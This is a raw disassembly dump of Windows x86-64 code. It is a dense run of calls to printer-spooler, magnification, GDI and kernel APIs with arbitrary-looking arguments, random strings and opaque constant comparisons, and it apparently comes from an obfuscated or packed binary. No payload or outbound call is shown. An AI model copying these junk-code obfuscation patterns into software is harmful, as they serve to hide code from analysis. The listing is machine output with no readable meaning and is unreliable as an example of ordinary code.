movabs rax, 0x726bfcaba09e16
cmp qword [rsp + 0x8b08], rax
jae 0x140038452
mov dword [rsp + 0x20], 0xb6
lea r9, [rsp + 0x8ba0]
mov r8d, 0xa9
lea rdx, [rsp + 0x8b90]
mov rcx, qword [rsp + 0x8b40]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x4664], eax
lea r9, [rsp + 0x8b70]
mov r8d, 0xd6
mov rdx, qword [rsp + 0x8c10]
mov rcx, qword [rsp + 0x8ca0]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x467c], eax
movabs rax, 0x7775f8cf2b0bb0
mov rcx, qword [rsp + 0x8b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
mov dword [rsp + 0x20], 0xec
lea r9, [rsp + 0x7f10]
mov r8d, 0x34
mov rdx, qword [rsp + 0x8b60]
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x469c], eax
lea rdx, [rsp + 0x1eeb0]
mov rcx, qword [rsp + 0x8b68]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x46b0], eax
mov rcx, qword [rsp + 0x8ca8]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x4674], eax
mov eax, dword [rsp + 0x4654]
mov dword [rsp + 0x469c], eax
lea rax, [rsp + 0x8c08]
mov qword [rsp + 0x20], rax
mov r9d, 0x4c
lea r8, [rsp + 0x1ed90]
mov edx, 8
mov rcx, qword [rsp + 0x8c78]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x46a8], eax
lea rax, [rsp + 0x4658]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8bc8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x4b
lea rax, [rsp + 0x1ef20]
mov qword [rsp + 0x20], rax
mov r9d, 0x5c
mov r8d, 0xf1
mov edx, 0x42
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x4660], eax
movabs rax, 0x7956da5404f997
mov rcx, qword [rsp + 0x8b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x20], rax
mov r9d, 0x47
lea r8, [rsp + 0x464c]
mov edx, 0x96
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x46b4], eax
lea r8, [rsp + 0x1a248]
lea rdx, [rsp + 0x4654]
lea rcx, [rsp + 0x8bc0]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x46a4], eax
lea rcx, [rsp + 0x1a268]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8c58], rax
lea r9, [rsp + 0x8b48]
mov r8d, 0x44
mov rdx, qword [rsp + 0x8cb0]
mov rcx, qword [rsp + 0x8cb0]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x4678], eax
movzx eax, byte [rsp + 0xee]
add eax, 0x71
mov byte [rsp + 0xee], al
mov edx, 0x6c
mov ecx, 0xbe
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x8c58], rax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4654], eax
movzx eax, byte [rsp + 0xee]
sar eax, 7
mov byte [rsp + 0xee], al
lea rax, [rsp + 0x8c08]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x20], rax
mov r9d, 0xb6
lea r8, [rsp + 0x4648]
mov edx, 0x11
mov rcx, qword [rsp + 0x8cb8]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x4698], eax
mov dword [rsp + 0x20], 0xed
lea r9, [rsp + 0x8c20]
mov r8d, 0x53
lea rdx, [rsp + 0x4668]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x468c], eax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x20], rax
mov r9d, 0xaf
lea r8, [rsp + 0x4668]
mov edx, 0x85
mov rcx, qword [rsp + 0x8cc8]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x46ac], eax
lea rdx, [rsp + 0x1ef20]
mov rcx, qword [rsp + 0x8c80]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x4688], eax
mov r9d, 0x98
mov r8d, 0xff
mov edx, 0x48
mov rcx, qword [rsp + 0x8cd0]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x4668]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
mov r8, qword [rsp + 0x8b50]
mov rdx, qword [rsp + 0x8bb8]
mov rcx, qword [rsp + 0x8b50]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4688], eax
jmp 0x1400384bc
lea rcx, str.eixV_Uq4tLT29l_O7Ka
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xee8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x8cd8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8ce0], rax
lea rax, [rsp + 0x4668]
mov qword [rsp + 0x8ce8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x8cf8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8d00], rax
mov eax, dword [rsp + 0x46a0]
mov dword [rsp + 0x4654], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.lvgGFM2jJ6sIQzAGlEgeF3Jn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x8d08], rax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x26f], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov eax, dword [rsp + 0x4648]
mov dword [rsp + 0x46b8], eax
cmp dword [rsp + 0x46b8], 0x1edb5bb9
jg 0x1400385be
cmp dword [rsp + 0x46b8], 0x1edb5bb9
je 0x1400385e5
cmp dword [rsp + 0x46b8], 0x362936a
je 0x14019f2d3
cmp dword [rsp + 0x46b8], 0x12e06baf
je 0x14019f500
cmp dword [rsp + 0x46b8], 0x19afaadc
je 0x14019f390
jmp 0x14019f79c
cmp dword [rsp + 0x46b8], 0x2a21a938
je 0x14019f253
cmp dword [rsp + 0x46b8], 0x73447c25
je 0x14019f635
jmp 0x14019f79c
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x270], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov qword [rsp + 0x8d18], rax
movabs rax, 0x7212cb19eac5c0
cmp qword [rsp + 0x8d18], rax
je 0x140038c84
movabs rax, 0x754a6701713f0d
cmp qword [rsp + 0x8d18], rax
je 0x140038a6b
movabs rax, 0x75fc29493e7b23
cmp qword [rsp + 0x8d18], rax
je 0x1400388b6
movabs rax, 0x7a0f987f26ff3a
cmp qword [rsp + 0x8d18], rax
je 0x14003878e
movabs rax, 0xee798edb3e41c8
cmp qword [rsp + 0x8d18], rax
je 0x140038696
jmp 0x140038e77
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8d20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0x8d10]
mov rdx, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46bc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x8d38], rax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov eax, dword [rsp + 0x4670]
mov ecx, dword [rsp + 0x4654]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4440], eax
mov r9d, 2
lea r8, [rsp + 0x8d40]
mov rdx, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46c0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
lea rcx, [rsp + 0x8d50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
jmp 0x140038e77
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4644]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x46c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
mov r9d, 0x96
lea r8, [rsp + 0x8be8]
mov edx, 0xbe
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x4688], eax
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0x8d58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8110], rax
mov r9d, 0x62
mov r8d, 0x31
mov edx, 0x3a
mov rcx, qword [rsp + 0x8c90]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8c20], rax
lea rdx, [rsp + 0x1a2c8]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x46c8], eax
mov eax, dword [rsp + 0x4644]
mov rcx, qword [rsp + 0x8ce8]
mov qword [rsp + 0x8d60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d60]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
movabs rax, 0x73263a36b99ca0
mov rcx, qword [rsp + 0x8b08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
jmp 0x140038e77
mov r9d, 0x4c
mov r8d, 0xb0
mov rdx, qword [rsp + 0x8d68]
mov rcx, qword [rsp + 0x8d70]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x4694], eax
mov edx, 0xe4
mov ecx, 0xd8
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x8c08], rax
lea rdx, [rsp + 0x1ef20]
mov rcx, qword [rsp + 0x8c30]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4698], eax
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x4644]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
lea rdx, [rsp + 0x1a2e0]
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x46cc], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4680], eax
mov eax, dword [rsp + 0x4668]
mov ecx, dword [rsp + 0x4644]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x46c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4648], eax
lea rax, [rsp + 0x8ce8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x96
lea r9, [rsp + 0x1ef20]
lea r8, [rsp + 0x8d68]
mov rdx, qword [rsp + 0x8c40]
mov rcx, qword [rsp + 0x8d78]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x469c], eax
mov qword [rsp + 0x20], 0xd6
mov r9, qword [rsp + 0x8ba8]
mov r8, qword [rsp + 0x8d80]
mov rdx, qword [rsp + 0x8d88]
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x46c4], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x46a0], eax
mov eax, dword [rsp + 0x469c]
mov dword [rsp + 0x46a0], eax
lea r9, [rsp + 0x8ba0]
mov r8d, 0x7c
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x8d98]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x46d0], eax
xor r8d, r8d
mov rdx, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8b78]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4684], eax
jmp 0x140038e77
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x4668]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8110]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
mov r9d, 0x8b
mov r8d, 0x69
mov edx, 0x43
mov rcx, qword [rsp + 0x8da8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
mov r8d, reloc.COMCTL32.dll_LBItemFromPt
mov rdx, qword [rsp + 0x8b88]
mov rcx, qword [rsp + 0x8db0]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov qword [rsp + 0x20], 0x4f
mov r9, qword [rsp + 0x8ba8]
mov r8, qword [rsp + 0x8db0]
mov rdx, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x46c4], eax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x270]
add eax, ecx
mov byte [rsp + 0x26f], al
lea rax, [rsp + 0x8da0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x4684]
mov qword [rsp + 0x20], rax
mov r9d, 0xb8
lea r8, [rsp + 0x8b08]
mov edx, 0xc4
mov rcx, qword [rsp + 0x8c38]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x46a8], eax
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x4648]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
lea rax, [rsp + 0x8d38]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x5d
lea rax, [rsp + 0x270]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x8da0]
mov r8, qword [rsp + 0x8ca0]
mov rdx, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x46d4], eax
movabs rax, 0x797e010fc84024
mov rcx, qword [rsp + 0x8b08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
mov dword [rsp + 0x20], 0xf0
lea r9, [rsp + 0x8c58]
mov r8d, 0x73
mov edx, 0x80
mov rcx, qword [rsp + 0x8c78]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x46d8], eax
mov r8d, 1
mov rdx, qword [rsp + 0x8dc8]
mov rcx, qword [rsp + 0x8b88]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x46c4], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4664], eax
lea rdx, [rsp + 0x1f000]
mov rcx, qword [rsp + 0x8c80]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x46dc], eax
jmp 0x140038e77
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4648]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4644], eax
mov eax, dword [rsp + 0x4648]
movzx ecx, al
mov eax, dword [rsp + 0x4644]
shl eax, cl
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
lea r8, [rsp + 0x465c]
lea rdx, [rsp + 0x1edf0]
lea rcx, [rsp + 0x8ce8]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x46dc], eax
mov r8, qword [rsp + 0x8db8]
mov rdx, qword [rsp + 0x8ca8]
mov rcx, qword [rsp + 0x8dd0]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4688], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4668], eax
mov r9d, 0xe4
mov r8d, 0xda
mov edx, 0xfb
mov rcx, qword [rsp + 0x8b98]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b70], rax
mov rcx, qword [rsp + 0x8b88]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x46e0], eax
lea rax, [rsp + 0x8d70]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8d68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x6d
lea r9, [rsp + 0xee]
mov r8d, 0x58
mov rdx, qword [rsp + 0x8dd8]
mov ecx, 0x86
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x4680], eax
lea r8, [rsp + 0x1eeb0]
lea rdx, [rsp + 0x8ba8]
lea rcx, [rsp + 0x8d80]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x46e4], eax
lea rax, [rsp + 0x8b68]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
mov r8, qword [rsp + 0x8c10]
mov rdx, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8d78]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x46d4], eax
mov rax, qword [rsp + 0x8110]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0x8de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8de8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8d38]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x26f]
or eax, ecx
mov byte [rsp + 0x270], al
lea rax, [rsp + 0x46d8]
mov qword [rsp + 0x20], rax
mov r9d, 0xaf
mov r8, qword [rsp + 0x8d90]
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x46e8], eax
lea rdx, [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46ec], eax
mov eax, 0x4f5
mov word [rsp + 0xeec], ax
movabs rax, 0x702bf69aca390a
mov rcx, qword [rsp + 0x8b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8410], rax
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee0], ax
mov dword [rsp + 0x1f5c0], 0x11c
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8df8], rax
movzx eax, word [rsp + 0xeec]
mov word [0x14024f3c8], ax
xor r9d, r9d
lea r8, [rsp + 0x8d10]
mov rdx, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46bc], eax
mov eax, dword [rsp + 0x464c]
mov ecx, dword [rsp + 0x469c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4654], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov edx, 0x96b
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f0], eax
xor r9d, r9d
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46f4], eax
mov eax, 0x616
mov word [rsp + 0xef0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov r9d, 0x138a
xor r8d, r8d
lea rdx, [rsp + 0x8d20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46f8], eax
lea rdx, [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46fc], eax
mov r9d, 0x2302
xor r8d, r8d
lea rdx, [rsp + 0x8df8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
mov byte [rsp + 0x271], 0x40
lea rax, [rsp + 0x4644]
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x80e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
lea rax, [rsp + 0xeec]
mov qword [rsp + 0x8e08], rax
lea rax, [rsp + 0x4440]
mov qword [rsp + 0x8e10], rax
lea rdx, [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4704], eax
lea rax, [rsp + 0x26f]
mov qword [rsp + 0x8e18], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4684]
add ecx, eax
mov eax, ecx
mov dword [0x14022fb5c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov qword [rsp + 0x8e30], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov byte [rsp + 0x4708], al
cmp byte [rsp + 0x4708], 2
je 0x140039189
cmp byte [rsp + 0x4708], 0xc7
je 0x14019f1d4
cmp byte [rsp + 0x4708], 0xeb
je 0x14019ef61
jmp 0x14019f1f4
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x8b08]
imul rax, qword [rsp + 0x8410]
mov qword [rsp + 0x7b18], rax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee0], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x26f]
sar eax, cl
mov byte [rsp + 0x270], al
mov rax, qword [rsp + 0x7b18]
mov qword [rsp + 0x8e40], rax
movabs rax, 0x7b428b00a8b127
cmp qword [rsp + 0x8e40], rax
je 0x14003925a
movabs rax, 0x8b40a337ce0671eb
cmp qword [rsp + 0x8e40], rax
je 0x140039227
jmp 0x14003927f
mov eax, dword [rsp + 0x469c]
mov dword [rsp + 0x470c], eax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
jmp 0x140039327
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46c4]
shl eax, cl
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
jmp 0x140039327
movsx eax, word [rsp + 0xef0]
or eax, 0x1b2
mov word [rsp + 0xef0], ax
lea rax, [rsp + 0x8e48]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x56
lea rax, [rsp + 0x8e10]
mov qword [rsp + 0x20], rax
mov r9d, 0xd7
mov r8d, 0xd7
mov edx, 0x79
mov rcx, qword [rsp + 0x8c28]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x4658], eax
mov dword [rsp + 0x28], 0x20
lea rax, [rsp + 0x8c58]
mov qword [rsp + 0x20], rax
mov r9d, 0x4b
mov r8, qword [rsp + 0x8dd8]
mov rdx, qword [rsp + 0x8b30]
mov rcx, qword [rsp + 0x8e50]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x4710], eax
movzx eax, byte [rsp + 0x271]
mov byte [rsp + 0x272], al
lea rax, [rsp + 0xeec]
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0x8cf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e30], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov qword [0x14024f3c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
mov dword [rsp + 0x4714], eax
cmp dword [rsp + 0x4714], 0x1eb
je 0x140039a47
cmp dword [rsp + 0x4714], 0x4f5
je 0x14003941d
cmp dword [rsp + 0x4714], 0xc62
je 0x140039815
cmp dword [rsp + 0x4714], 0xc9d
je 0x1400398de
cmp dword [rsp + 0x4714], 0xd1e
je 0x1400396e9
jmp 0x140039c71
lea rax, [rsp + 0x464c]
mov qword [rsp + 0x8e60], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
lea rax, [rsp + 0xeec]
mov qword [rsp + 0x8e68], rax
movzx eax, byte [rsp + 0x271]
mov byte [rsp + 0x4718], al
cmp byte [rsp + 0x4718], 0x20
je 0x1400396b5
cmp byte [rsp + 0x4718], 0x30
je 0x14003962c
cmp byte [rsp + 0x4718], 0x40
je 0x1400394a3
cmp byte [rsp + 0x4718], 0x46
je 0x140039672
cmp byte [rsp + 0x4718], 0x53
je 0x140039657
jmp 0x1400396e4
mov rax, qword [rsp + 0x8b08]
mov qword [rsp + 0x8e70], rax
movabs rax, 0x74710c2047fee2
cmp qword [rsp + 0x8e70], rax
je 0x140039608
movabs rax, 0x7b9a1d451c8c47
cmp qword [rsp + 0x8e70], rax
je 0x1400394e4
jmp 0x140039627
lea rcx, str.Ul19
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xef4], ax
movzx ecx, word [rsp + 0xee0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef4], ax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x8e78], rax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov byte [rsp + 0x471c], al
cmp byte [rsp + 0x471c], 2
je 0x140039547
cmp byte [rsp + 0x471c], 0x86
je 0x14003957d
